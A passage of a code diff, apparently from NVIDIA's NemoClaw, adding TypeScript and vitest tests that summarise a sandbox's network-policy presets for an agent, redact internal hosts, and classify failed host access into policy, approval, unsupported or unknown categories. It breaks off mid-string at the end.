enforced by the gateway but missing from the registry as `gateway-only` actives", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: [], policyTier: "balanced" }); + + const ctx = buildPolicyContext(SANDBOX, { gatewayPresets: ["github"] }); + + const github = ctx.activePresets.find((p) => p.name === "github"); + expect(github?.verification).toBe("gateway-only"); + expect(ctx.knownUnappliedPresets.some((p) => p.name === "github")).toBe(false); + }); + + it("redacts internal hostnames and IP ranges from allowedHostCategories and counts the drop", () => { + resetMocks(); + mockBuiltinPresets(); + vi.mocked(policies.listCustomPresets).mockReturnValue([ + { file: "internal.yaml", name: "internal", description: "internal API" }, + ]); + vi.mocked(registry.getCustomPolicies).mockReturnValue([ + { + name: "internal", + content: + "preset:\n name: internal\nnetwork_policies:\n internal:\n endpoints:\n" + + " - host: 10.0.0.1\n" + + " - host: 192.168.1.10\n" + + " - host: 172.20.0.1\n" + + " - host: 127.0.0.1\n" + + " - host: 169.254.169.254\n" + + " - host: localhost\n" + + " - host: api.internal\n" + + " - host: gateway.local\n" + + " - host: shared.corp\n" + + " - host: public.example.com\n", + }, + ]); + vi.mocked(getTier).mockReturnValue(null); + stubRegistry({ policies: ["internal"], policyTier: undefined }); + + const ctx = buildPolicyContext(SANDBOX); + const internal = ctx.activePresets.find((p) => p.name === "internal"); + expect(internal?.allowedHostCategories).toEqual(["public.example.com"]); + expect(internal?.redactedHostCount).toBeGreaterThanOrEqual(9); + }); + + it("handles a sandbox with no recorded tier and no applied presets", () => { + resetMocks(); + mockBuiltinPresets(); + vi.mocked(getTier).mockReturnValue(null); + stubRegistry({ policies: [], policyTier: undefined }); + + const ctx = buildPolicyContext(SANDBOX); + + expect(ctx.tier).toBeNull(); + expect(ctx.activePresets).toEqual([]); + expect(ctx.knownUnappliedPresets.map((p) => p.name)).toEqual(["github", "slack"]); + }); + + it("includes custom presets as active and tags their source", () => { + resetMocks(); + mockBuiltinPresets(); + vi.mocked(policies.listCustomPresets).mockReturnValue([ + { file: "internal.yaml", name: "internal", description: "custom preset" }, + ]); + vi.mocked(policies.loadPreset).mockImplementation( + (name: string) => PRESET_CONTENT[name] ?? null, + ); + vi.mocked(getTier).mockReturnValue(null); + stubRegistry({ policies: ["internal"], policyTier: undefined }); + + const ctx = buildPolicyContext(SANDBOX); + const internal = ctx.activePresets.find((p) => p.name === "internal"); + expect(internal?.source).toBe("custom"); + }); + + it("derives custom preset host stems from the registry-stored content, not loadPreset", () => { + resetMocks(); + mockBuiltinPresets(); + vi.mocked(policies.listCustomPresets).mockReturnValue([ + { file: "internal.yaml", name: "internal", description: "internal API" }, + ]); + vi.mocked(registry.getCustomPolicies).mockReturnValue([ + { + name: "internal", + content: "preset:\n name: internal\nnetwork_policies:\n internal:\n endpoints:\n - host: internal.example.com\n", + }, + ]); + vi.mocked(getTier).mockReturnValue(null); + stubRegistry({ policies: ["internal"], policyTier: undefined }); + + const ctx = buildPolicyContext(SANDBOX); + const internal = ctx.activePresets.find((p) => p.name === "internal"); + expect(internal?.allowedHostCategories).toEqual(["internal.example.com"]); + }); +}); + +describe("renderPolicyContextMarkdown", () => { + it("emits a redacted markdown summary with only host stems and no raw policy YAML", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const md = renderPolicyContextMarkdown(buildPolicyContext(SANDBOX)); + + expect(md).toContain(`# Sandbox policy context: ${SANDBOX}`); + expect(md).toContain("## Active presets"); + expect(md).toContain("`slack`"); + expect(md).toContain("api.slack.com"); + expect(md).toContain("## Approval and remediation"); + expect(md).toContain("## Failure classification"); + expect(md).not.toMatch(/enforcement:|websocket_credential_rewrite|binaries:/); + expect(md).not.toMatch(/network_policies:/); + }); + + it("renders the verification status alongside each active preset", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const md = renderPolicyContextMarkdown( + buildPolicyContext(SANDBOX, { gatewayPresets: ["slack"] }), + ); + expect(md).toContain("status: verified"); + }); +}); diff --git a/src/lib/policy/context.ts b/src/lib/policy/context.ts new file mode 100644 index 00000000000..7def076f81a --- /dev/null +++ b/src/lib/policy/context.ts @@ -0,0 +1,399 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import * as registry from "../state/registry"; +import { + getGatewayPresets, + getPresetEndpoints, + listCustomPresets, + listPresets, + loadPreset, +} from "."; +import { hostStemsFromEndpoints } from "./host-redaction"; +import { getTier } from "./tiers"; + +interface PresetInfo { + file: string; + name: string; + description: string; +} + +export type PolicyContextPresetVerification = + | "verified" + | "registry-only" + | "gateway-only" + | "gateway-unavailable"; + +export interface PolicyContextPreset { + name: string; + description: string; + allowedHostCategories: string[]; + /** + * Number of preset endpoints whose host stems were dropped from + * {@link PolicyContextPreset.allowedHostCategories} by the internal-host + * redaction filter (RFC1918, loopback, link-local, metadata, internal DNS). + */ + redactedHostCount: number; + source: "builtin" | "custom"; + /** + * Source-of-truth state for whether this preset is enforced by the + * OpenShell gateway. `verified` and `gateway-only` are based on a live + * gateway probe; `registry-only` and `gateway-unavailable` indicate the + * agent cannot trust this preset as enforced policy. + */ + verification: PolicyContextPresetVerification; +} + +export interface PolicyContextTier { + name: string; + label: string; + description: string; +} + +export interface PolicyContextSupportBoundary { + capability: string; + owner: "nemoclaw" | "openshell" | "agent" | "external"; + note?: string; +} + +export interface PolicyContextApprovalPath { + inspect: string; + add: string; + remove: string; + documentation: string; +} + +export interface PolicyContext { + sandboxName: string; + tier: PolicyContextTier | null; + activePresets: PolicyContextPreset[]; + knownUnappliedPresets: PolicyContextPreset[]; + approvalPath: PolicyContextApprovalPath; + supportBoundaries: PolicyContextSupportBoundary[]; + generatedAt: string; +} + +const POLICY_DOC_URL = "docs/network-policy/customize-network-policy.mdx"; + +function hostStemsFromContent(content: string | null | undefined): { + public: string[]; + redactedCount: number; +} { + if (!content) return { public: [], redactedCount: 0 }; + return hostStemsFromEndpoints(getPresetEndpoints(content)); +} + +function presetEntry( + info: PresetInfo, + source: PolicyContextPreset["source"], + content: string | null, + verification: PolicyContextPresetVerification, +): PolicyContextPreset { + const hosts = hostStemsFromContent(content); + return { + name: info.name, + description: info.description, + allowedHostCategories: hosts.public, + redactedHostCount: hosts.redactedCount, + source, + verification, + }; +} + +function resolveVerification( + presetName: string, + appliedLocally: boolean, + gatewayPresets: ReadonlyArray | null, +): PolicyContextPresetVerification { + if (gatewayPresets === null) { + return appliedLocally ? "gateway-unavailable" : "gateway-unavailable"; + } + const enforced = gatewayPresets.includes(presetName); + if (appliedLocally && enforced) return "verified"; + if (appliedLocally && !enforced) return "registry-only"; + if (!appliedLocally && enforced) return "gateway-only"; + return "gateway-unavailable"; +} + +/** + * Split known presets into the active set (reported to agents as candidate + * allow-listed integrations) and the unapplied set (suggested as + * remediation targets). Two invariants: + * + * - Custom presets always land in `active`. They live in the registry's + * `customPolicies` array, which has no "applied vs unapplied" notion; + * their presence in the registry is itself the activation signal. They + * are still annotated with the gateway-verification state so an agent + * can tell whether the gateway actually enforces them. + * - A built-in preset that the gateway enforces but the registry does + * not list (`gateway-only`) is reported as active so the agent does + * not misclassify allowed hosts as blocked. The advisory `verification` + * field discloses the drift. + */ +function partitionPresets( + sandboxName: string, + applied: ReadonlySet, + gatewayPresets: ReadonlyArray | null, +): { active: PolicyContextPreset[]; unapplied: PolicyContextPreset[] } { + const builtin = listPresets(); + const customInfo = listCustomPresets(sandboxName); + const customByName = new Map( + registry.getCustomPolicies(sandboxName).map((entry) => [entry.name, entry.content]), + ); + const active: PolicyContextPreset[] = []; + const unapplied: PolicyContextPreset[] = []; + for (const info of builtin) { + const isApplied = applied.has(info.name); + const verification = resolveVerification(info.name, isApplied, gatewayPresets); + const onGatewayOnly = !isApplied && verification === "gateway-only"; + const entry = presetEntry(info, "builtin", loadPreset(info.name), verification); + if (isApplied || onGatewayOnly) { + active.push(entry); + } else { + unapplied.push(entry); + } + } + for (const info of customInfo) { + const isApplied = applied.has(info.name); + const verification = resolveVerification(info.name, isApplied, gatewayPresets); + active.push( + presetEntry(info, "custom", customByName.get(info.name) ?? null, verification), + ); + } + return { active, unapplied }; +} + +function buildApprovalPath(sandboxName: string): PolicyContextApprovalPath { + return { + inspect: `nemoclaw ${sandboxName} policy-list`, + add: `nemoclaw ${sandboxName} policy-add `, + remove: `nemoclaw ${sandboxName} policy-remove `, + documentation: POLICY_DOC_URL, + }; +} + +function buildSupportBoundaries( + tier: PolicyContextTier | null, +): PolicyContextSupportBoundary[] { + return [ + { + capability: "preset selection", + owner: "nemoclaw", + note: tier ? `tier: ${tier.label}` : "no tier recorded", + }, + { + capability: "host allowlist enforcement", + owner: "openshell", + note: "policy is enforced by the OpenShell gateway", + }, + { + capability: "shields toggle", + owner: "nemoclaw", + note: "shields up locks down mutable config", + }, + { + capability: "credential storage", + owner: "nemoclaw", + note: "credentials are stored outside the policy context surface", + }, + { + capability: "ad-hoc host approval", + owner: "external", + note: "requests outside the applied presets require a new preset or tier change", + }, + ]; +} + +export interface BuildPolicyContextOptions { + /** + * Inject a gateway-preset list (or null when the gateway is unreachable) + * to bypass the live `openshell policy get` probe — exposed so unit tests + * and callers that already hold the gateway snapshot can avoid an extra + * subprocess call. + */ + gatewayPresets?: ReadonlyArray | null; + /** + * Skip the live gateway probe entirely; every preset is then reported with + * `verification: "gateway-unavailable"`. Useful when the caller is on a + * code path that must not spawn external processes. + */ + skipGatewayProbe?: boolean; +} + +function probeGatewayPresets( + sandboxName: string, + options: BuildPolicyContextOptions, +): ReadonlyArray | null { + if (options.gatewayPresets !== undefined) return options.gatewayPresets; + if (options.skipGatewayProbe) return null; + try { + return getGatewayPresets(sandboxName); + } catch { + return null; + } +} + +/** + * Build the agent-facing policy context for {@link sandboxName}. + * + * Source-of-truth model: + * + * - Active preset names are derived from the registry entry + * (`sandbox.policies` + `sandbox.customPolicies`). The OpenShell gateway + * is the actual enforcement boundary, so each preset is also annotated + * with a {@link PolicyContextPresetVerification} state: `verified` when + * the gateway snapshot agrees, `registry-only` when the gateway does + * not enforce the preset (drift), `gateway-only` when the gateway + * enforces something the registry does not list, or + * `gateway-unavailable` when no probe is available. Callers that + * require a trusted "is this host actually allowed?" answer must look + * at `verification === "verified"`; everything else is advisory. + * + * - Host stems are extracted by {@link hostStemsFromContent}, which + * redacts RFC1918, loopback, link-local, metadata, and internal-DNS + * addresses. The redaction count is preserved on the preset entry so + * the renderer can disclose that hosts were dropped without leaking + * the stems themselves. + * + * - The gateway probe is optional and configurable via + * {@link BuildPolicyContextOptions}. Callers on cold paths (e.g. the + * classifier) pass `skipGatewayProbe: true` to avoid spawning + * `openshell policy get` and accept the resulting + * `gateway-unavailable` annotation. + * + * - Regression coverage lives in `src/lib/policy/context.test.ts`. When + * the verification annotation or redaction set changes, update those + * tests in the same patch. + */ +export function buildPolicyContext( + sandboxName: string, + options: BuildPolicyContextOptions = {}, +): PolicyContext { + const sandbox = registry.getSandbox(sandboxName); + const tierName = sandbox?.policyTier ?? null; + const tierDef = tierName ? getTier(tierName) : null; + const tier: PolicyContextTier | null = tierDef + ? { name: tierDef.name, label: tierDef.label, description: tierDef.description } + : null; + + const appliedNames = new Set(sandbox?.policies ?? []); + for (const entry of sandbox?.customPolicies ?? []) { + appliedNames.add(entry.name); + } + + const gatewayPresets = probeGatewayPresets(sandboxName, options); + const { active, unapplied } = partitionPresets(sandboxName, appliedNames, gatewayPresets); + + return { + sandboxName, + tier, + activePresets: active.sort((a, b) => a.name.localeCompare(b.name)), + knownUnappliedPresets: unapplied.sort((a, b) => a.name.localeCompare(b.name)), + approvalPath: buildApprovalPath(sandboxName), + supportBoundaries: buildSupportBoundaries(tier), + generatedAt: new Date().toISOString(), + }; +} + +function verificationTag(verification: PolicyContextPresetVerification): string { + switch (verification) { + case "verified": + return "verified"; + case "registry-only": + return "registry-only (gateway does not enforce)"; + case "gateway-only": + return "gateway-only (not in local registry)"; + case "gateway-unavailable": + return "gateway-unavailable"; + } +} + +function formatPresetLine(preset: PolicyContextPreset): string { + const categories = preset.allowedHostCategories.length + ? preset.allowedHostCategories.join(", ") + : "(no host endpoints declared)"; + const sourceTag = preset.source === "custom" ? " [custom]" : ""; + const description = preset.description ? ` — ${preset.description}` : ""; + const redactedNote = + preset.redactedHostCount > 0 + ? ` (${String(preset.redactedHostCount)} internal host stem(s) redacted)` + : ""; + return [ + `- \`${preset.name}\`${sourceTag}${description}`, + ` status: ${verificationTag(preset.verification)}`, + ` hosts: ${categories}${redactedNote}`, + ].join("\n"); +} + +export function renderPolicyContextMarkdown(ctx: PolicyContext): string { + const lines: string[] = []; + lines.push(`# Sandbox policy context: ${ctx.sandboxName}`); + lines.push(""); + lines.push( + "This file is generated by NemoClaw. It summarises the network policy state", + "of the sandbox so the agent can explain why a host or integration may be", + "blocked and which remediation paths are available.", + ); + lines.push(""); + lines.push("## Tier"); + if (ctx.tier) { + lines.push(`- name: \`${ctx.tier.name}\` (${ctx.tier.label})`); + lines.push(`- description: ${ctx.tier.description}`); + } else { + lines.push("- no tier recorded"); + } + lines.push(""); + lines.push("## Active presets"); + if (ctx.activePresets.length === 0) { + lines.push("- none"); + } else { + for (const preset of ctx.activePresets) { + lines.push(formatPresetLine(preset)); + } + } + lines.push(""); + lines.push("## Known unapplied presets"); + if (ctx.knownUnappliedPresets.length === 0) { + lines.push("- none"); + } else { + for (const preset of ctx.knownUnappliedPresets) { + lines.push(`- \`${preset.name}\` — ${preset.description || "(no description)"}`); + } + } + lines.push(""); + lines.push("## Approval and remediation"); + lines.push(`- inspect: \`${ctx.approvalPath.inspect}\``); + lines.push(`- add a preset: \`${ctx.approvalPath.add}\``); + lines.push(`- remove a preset: \`${ctx.approvalPath.remove}\``); + lines.push(`- documentation: ${ctx.approvalPath.documentation}`); + lines.push(""); + lines.push("## Support boundaries"); + for (const boundary of ctx.supportBoundaries) { + const note = boundary.note ? ` — ${boundary.note}` : ""; + lines.push(`- ${boundary.capability} (owner: ${boundary.owner})${note}`); + } + lines.push(""); + lines.push("## Failure classification"); + lines.push( + "When a host or integration attempt fails, classify it as:", + "- `blocked-by-policy` — the host is not declared by any active preset, the request was refused with HTTP 403, or a network-block error code was returned", + "- `missing-approval` — the host is declared by an active preset and the request was refused with HTTP 401 (treat HTTP 403 on an active host as ambiguous between missing credentials and a finer-grained policy denial)", + "- `unsupported` — the capability is not offered by NemoClaw or OpenShell", + "- `unknown` — none of the above apply; surface the underlying error", + ); + lines.push(""); + lines.push( + "Preset status reflects registry vs gateway agreement and is one of `verified`, `registry-only`, `gateway-only`, or `gateway-unavailable`. Treat anything other than `verified` as advisory; an agent must not assume the gateway enforces the listed hosts.", + ); + lines.push(""); + lines.push(`Generated at ${ctx.generatedAt}.`); + return lines.join("\n") + "\n"; +} + +export { + type AccessFailureCapability, + type AccessFailureClassification, + type AccessFailureInput, + type AccessFailureKind, + classifyAccessFailure, +} from "./failure-classifier"; diff --git a/src/lib/policy/failure-classifier.test.ts b/src/lib/policy/failure-classifier.test.ts new file mode 100644 index 00000000000..75e52a6187c --- /dev/null +++ b/src/lib/policy/failure-classifier.test.ts @@ -0,0 +1,346 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from "vitest"; + +vi.mock("../state/registry", () => ({ + getSandbox: vi.fn(), + getCustomPolicies: vi.fn(() => []), +})); + +vi.mock(".", () => ({ + getPresetEndpoints: vi.fn(), + getGatewayPresets: vi.fn(() => null), + listCustomPresets: vi.fn(), + listPresets: vi.fn(), + loadPreset: vi.fn(), +})); + +vi.mock("./tiers", () => ({ + getTier: vi.fn(), +})); + +import * as registry from "../state/registry"; +import * as policies from "."; +import { getTier } from "./tiers"; +import { classifyAccessFailure } from "./failure-classifier"; + +const SANDBOX = "alpha"; + +const SLACK_PRESET_YAML = `preset: + name: slack + description: Slack API access +network_policies: + slack: + endpoints: + - host: slack.com + - host: api.slack.com +`; + +const GITHUB_PRESET_YAML = `preset: + name: github + description: GitHub API access +network_policies: + github: + endpoints: + - host: api.github.com +`; + +const PRESET_CONTENT: Record = { + slack: SLACK_PRESET_YAML, + github: GITHUB_PRESET_YAML, +}; + +function mockBuiltinPresets() { + vi.mocked(policies.listPresets).mockReturnValue([ + { file: "slack.yaml", name: "slack", description: "Slack API access" }, + { file: "github.yaml", name: "github", description: "GitHub API access" }, + ]); + vi.mocked(policies.listCustomPresets).mockReturnValue([]); + vi.mocked(policies.loadPreset).mockImplementation( + (name: string) => PRESET_CONTENT[name] ?? null, + ); + vi.mocked(policies.getPresetEndpoints).mockImplementation((content: string) => { + const hosts: string[] = []; + const regex = /host:\s*(\S+)/g; + let match: RegExpExecArray | null = null; + while ((match = regex.exec(content)) !== null) { + hosts.push(match[1]); + } + return hosts; + }); +} + +function stubRegistry(entry: Partial<{ policies: string[]; policyTier: string }>) { + vi.mocked(registry.getSandbox).mockReturnValue({ + name: SANDBOX, + policies: entry.policies, + policyTier: entry.policyTier ?? null, + } as ReturnType); +} + +function stubTier() { + vi.mocked(getTier).mockReturnValue({ + name: "balanced", + label: "Balanced", + description: "Full dev tooling and web search", + presets: [], + }); +} + +function resetMocks() { + vi.mocked(registry.getSandbox).mockReset(); + vi.mocked(registry.getCustomPolicies).mockReset(); + vi.mocked(registry.getCustomPolicies).mockReturnValue([]); + vi.mocked(policies.listPresets).mockReset(); + vi.mocked(policies.listCustomPresets).mockReset(); + vi.mocked(policies.loadPreset).mockReset(); + vi.mocked(policies.getPresetEndpoints).mockReset(); + vi.mocked(policies.getGatewayPresets).mockReset(); + vi.mocked(policies.getGatewayPresets).mockReturnValue(null); + vi.mocked(getTier).mockReset(); +} + +describe("classifyAccessFailure", () => { + it("returns high-confidence missing-approval when the host is on a gateway-verified preset and credentials return 401", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { status: 401 }, + gatewayPresets: ["slack"], + }); + + expect(result.kind).toBe("missing-approval"); + expect(result.matchedPreset).toBe("slack"); + expect(result.confidence).toBe("high"); + }); + + it("downgrades a matched 401 to low confidence when the preset is registry-only (gateway disagrees)", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { status: 401 }, + gatewayPresets: [], + }); + + expect(result.kind).toBe("missing-approval"); + expect(result.matchedPreset).toBe("slack"); + expect(result.confidence).toBe("low"); + expect(result.reason).toContain("drift"); + expect(result.nextStep).toContain("policy-list"); + }); + + it("downgrades a matched 401 to low confidence when the gateway is unavailable", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { status: 401 }, + gatewayPresets: null, + }); + + expect(result.confidence).toBe("low"); + expect(result.reason).toContain("registry-derived"); + }); + + it("returns low-confidence missing-approval when an active host returns 403 (ambiguous policy denial vs auth)", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { status: 403 }, + }); + + expect(result.kind).toBe("missing-approval"); + expect(result.matchedPreset).toBe("slack"); + expect(result.confidence).toBe("low"); + expect(result.nextStep).toContain("openshell policy get"); + }); + + it("returns blocked-by-policy when a known preset declares the host but is not applied", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.github.com", + error: { code: "EHOSTUNREACH" }, + }); + + expect(result.kind).toBe("blocked-by-policy"); + expect(result.matchedPreset).toBe("github"); + expect(result.nextStep).toContain("policy-add github"); + }); + + it("returns blocked-by-policy when no preset declares the host and the request is refused", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "example.unknown", + error: { status: 403 }, + }); + + expect(result.kind).toBe("blocked-by-policy"); + expect(result.matchedPreset).toBeUndefined(); + }); + + it("falls back to unknown when the failure is not a policy or approval signal", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { code: "ECONNRESET", status: 500 }, + }); + + expect(result.kind).toBe("unknown"); + expect(result.matchedPreset).toBe("slack"); + }); + + it("matches a subdomain against the preset host stem", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "edge.api.slack.com", + error: { status: 403 }, + }); + + expect(result.matchedPreset).toBe("slack"); + }); + + it("returns unsupported when the caller declares the capability unavailable", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + capability: { supported: false, reason: "messaging not enabled for this agent" }, + }); + + expect(result.kind).toBe("unsupported"); + expect(result.reason).toContain("messaging not enabled for this agent"); + expect(result.nextStep).toContain("Surface the limitation"); + }); + + it("returns unsupported even when the host matches an applied preset", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { status: 403 }, + capability: { supported: false }, + }); + + expect(result.kind).toBe("unsupported"); + }); + + it("classifies a verified-preset host hitting a network-block code as upstream-unknown, not blocked-by-policy", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { code: "EHOSTUNREACH" }, + gatewayPresets: ["slack"], + }); + + // Gateway confirms enforcement → the block code cannot mean the + // gateway is denying the host; it must be upstream. + expect(result.kind).toBe("unknown"); + expect(result.matchedPreset).toBe("slack"); + expect(result.confidence).toBe("high"); + expect(result.reason).toContain("EHOSTUNREACH"); + expect(result.reason).toContain("upstream"); + }); + + it.each([ + "EHOSTUNREACH", + "ENETUNREACH", + "ENOTFOUND", + "ECONNREFUSED", + "ETIMEDOUT", + "EAI_AGAIN", + ])("classifies a registry-only active-preset host hitting %s as blocked-by-policy with low confidence", (code) => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { code }, + gatewayPresets: [], + }); + + // Registry says allow but the gateway has not been confirmed to + // enforce the preset (drift). The network-block code is the + // strongest signal that the gateway is in fact blocking egress; + // surface as blocked-by-policy so the agent reaches for + // policy-list / policy-add rather than chasing an upstream issue. + expect(result.kind).toBe("blocked-by-policy"); + expect(result.matchedPreset).toBe("slack"); + expect(result.confidence).toBe("low"); + expect(result.reason).toContain(code); + expect(result.nextStep).toContain("policy-list"); + }); + + it("classifies a gateway-unavailable active-preset host hitting EHOSTUNREACH as blocked-by-policy advisory", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const result = classifyAccessFailure({ + sandboxName: SANDBOX, + host: "api.slack.com", + error: { code: "EHOSTUNREACH" }, + gatewayPresets: null, + }); + + expect(result.kind).toBe("blocked-by-policy"); + expect(result.confidence).toBe("low"); + expect(result.reason).toContain("registry-derived"); + }); +}); diff --git a/src/lib/policy/failure-classifier.ts b/src/lib/policy/failure-classifier.ts new file mode 100644 index 00000000000..54aaab957ad --- /dev/null +++ b/src/lib/policy/failure-classifier.ts @@ -0,0 +1,234 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { + buildPolicyContext, + type BuildPolicyContextOptions, + type PolicyContext, + type PolicyContextPreset, +} from "./context"; +import { canonicaliseHost } from "./host-redaction"; + +export type AccessFailureKind = + | "blocked-by-policy" + | "missing-approval" + | "unsupported" + | "unknown"; + +export interface AccessFailureCapability { + supported: boolean; + reason?: string; +} + +export interface AccessFailureInput { + sandboxName: string; + host: string; + port?: number; + error?: { code?: string; status?: number; message?: string }; + capability?: AccessFailureCapability; + /** + * Optional caller-provided context. When omitted, the classifier builds + * its own context for `sandboxName`. Callers that already hold a + * context (the explain command, the agent runtime) should pass it to + * avoid a second registry/gateway probe and to keep the verification + * status consistent with what the caller already rendered. + */ + context?: PolicyContext; + /** + * Live OpenShell gateway snapshot. Honoured only when `context` is + * absent. When neither is provided the classifier asks + * {@link buildPolicyContext} for a fresh probe; tests that want to keep + * the classifier sandbox-free pass `gatewayPresets: null` to force a + * `gateway-unavailable` verdict. + */ + gatewayPresets?: ReadonlyArray | null; +} + +export interface AccessFailureClassification { + kind: AccessFailureKind; + reason: string; + nextStep: string; + matchedPreset?: string; + /** + * `high` when the underlying signal unambiguously maps to {@link kind} + * AND the matched preset (if any) was confirmed by a live gateway + * probe. `low` when either the signal is ambiguous (notably HTTP 403 + * on an allowed host) or the matched preset is `registry-only` / + * `gateway-unavailable`, in which case the agent must treat the + * verdict as advisory. + */ + confidence: "high" | "low"; +} + +const POLICY_BLOCK_ERROR_CODES: ReadonlySet = new Set([ + "EAI_AGAIN", + "ENETUNREACH", + "EHOSTUNREACH", + "ECONNREFUSED", + "ETIMEDOUT", + "ENOTFOUND", +]); + +const MISSING_APPROVAL_STATUS_CODES: ReadonlySet = new Set([401, 403]); + +function isPolicyBlockErrorCode(code: string | undefined): boolean { + if (!code) return false; + return POLICY_BLOCK_ERROR_CODES.has(code); +} + +function findMatchingPreset( + host: string, + presets: readonly PolicyContextPreset[], +): PolicyContextPreset | null { + const canonical = canonicaliseHost(host); + if (!canonical) return null; + for (const preset of presets) { + for (const candidate of preset.allowedHostCategories) { + if (canonical === candidate || canonical.endsWith(`.${candidate}`)) { + return preset; + } + } + } + return null; +} + +function isVerified(preset: PolicyContextPreset): boolean { + return preset.verification === "verified" || preset.verification === "gateway-only"; +} + +function verificationNote(preset: PolicyContextPreset): string { + if (isVerified(preset)) return ""; + if (preset.verification === "registry-only") { + return " The local registry lists this preset but the OpenShell gateway is not enforcing it (drift); treat this verdict as advisory."; + } + return " The OpenShell gateway is unreachable, so this verdict is registry-derived and advisory."; +} + +function resolveContext(input: AccessFailureInput): PolicyContext { + if (input.context) return input.context; + const options: BuildPolicyContextOptions = + input.gatewayPresets === undefined ? {} : { gatewayPresets: input.gatewayPresets }; + return buildPolicyContext(input.sandboxName, options); +} + +export function classifyAccessFailure( + input: AccessFailureInput, +): AccessFailureClassification { + if (input.capability && input.capability.supported === false) { + const reason = input.capability.reason ?? "capability is not offered for this sandbox"; + return { + kind: "unsupported", + reason: `Host '${input.host}' is unreachable because the capability is unsupported: ${reason}.`, + nextStep: + "Surface the limitation to the user; do not retry. Choose an alternative provider or sandbox configuration that supports the capability.", + confidence: "high", + }; + } + const ctx = resolveContext(input); + const matched = findMatchingPreset(input.host, ctx.activePresets); + const status = input.error?.status; + const code = input.error?.code; + + if (matched) { + const verified = isVerified(matched); + const note = verificationNote(matched); + if (status === 401) { + return { + kind: "missing-approval", + reason: `Host '${input.host}' is allowed by preset '${matched.name}' but the request returned 401; credentials are missing or invalid.${note}`, + nextStep: verified + ? "Confirm the API token and scopes for this integration; the network path is open." + : `Confirm the API token and scopes first, then run \`${ctx.approvalPath.inspect}\` to verify the gateway is enforcing '${matched.name}'.`, + matchedPreset: matched.name, + confidence: verified ? "high" : "low", + }; + } + if (status === 403) { + return { + kind: "missing-approval", + reason: `Host '${input.host}' is allowed by preset '${matched.name}' but the request returned 403, which is ambiguous: it can mean missing credentials/scope or a finer-grained OpenShell denial (method, path, protocol, or binary).${note}`, + nextStep: `Confirm the API token and scopes first. If credentials look correct, run \`${ctx.approvalPath.inspect}\` and \`openshell policy get\` to check whether OpenShell is denying the specific method/path; widen the preset or adjust the call as needed.`, + matchedPreset: matched.name, + confidence: "low", + }; + } + if (isPolicyBlockErrorCode(code)) { + if (verified) { + // Gateway confirmed the preset is active, so a network-block code + // is an upstream failure (DNS hiccup, peer down, ICMP filter) — + // not the gateway denying egress. The verdict stays `unknown` but + // the wording explicitly rules out the policy-block reading the + // doc/context surfaces, so the agent does not chase the wrong + // remediation. + return { + kind: "unknown", + reason: `Host '${input.host}' is allowed by preset '${matched.name}' and the OpenShell gateway confirmed enforcement, so the network-block code (${code}) is an upstream connectivity failure rather than a policy block.${note}`, + nextStep: + "Inspect the upstream error and retry once the underlying condition clears.", + matchedPreset: matched.name, + confidence: "high", + }; + } + // Registry-only or gateway-unavailable: the preset is listed locally + // but the OpenShell gateway is either drifting or unreachable. A + // network-block code on a host that *should* be allowed is the + // strongest signal we have that the gateway is in fact blocking + // egress to this host — surface it as `blocked-by-policy` so the + // agent's remediation matches the doc taxonomy, with the + // verification caveat baked into the wording and confidence + // downgrade. + return { + kind: "blocked-by-policy", + reason: `Host '${input.host}' is 